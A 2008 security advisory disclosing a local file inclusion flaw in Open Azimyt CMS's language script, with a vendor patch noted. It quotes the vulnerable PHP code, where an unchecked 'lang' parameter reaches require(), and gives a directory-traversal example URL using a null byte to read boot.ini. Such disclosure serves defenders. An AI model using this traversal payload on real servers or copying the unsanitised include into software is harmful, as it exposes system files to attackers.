Digital Security Research Group [DSecRG] Advisory #DSECRG-08-026 Application: Open Azimyt CMS Versions Affected: 0.22 minimal, 0.21 stable Vendor URL: http://azimyt.net/ Bug: Local File Include Exploits: YES Reported: 07.06.2008 Vendor Response: 08.06.2008 Solution: YES Date of Public Advisory: 16.06.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Local File Include vulnerability found in script azimyt/lang/lang-system.php Code **** ################################################# if(isset($_GET['lang'])){ $_SESSION['lang']=$_GET['lang']; } if(!isset($_SESSION['lang'])){ $_SESSION['lang'] = "second"; } if (isset($_SESSION['lang'])) { $SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php"; if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load); require($SystemLangFile); } ################################################# Example: http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../. ./../../../../../../../../../boot.ini%00 Fix Information *************** Vendor fixed this flaw on 10.06.2008. Patch can be downloaded here: http://open-azimyt-cms.googlecode.com/files/security_patch.zip About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) -- Digital Security Research Group mailto:research (at) dsec (dot) ru [email concealed]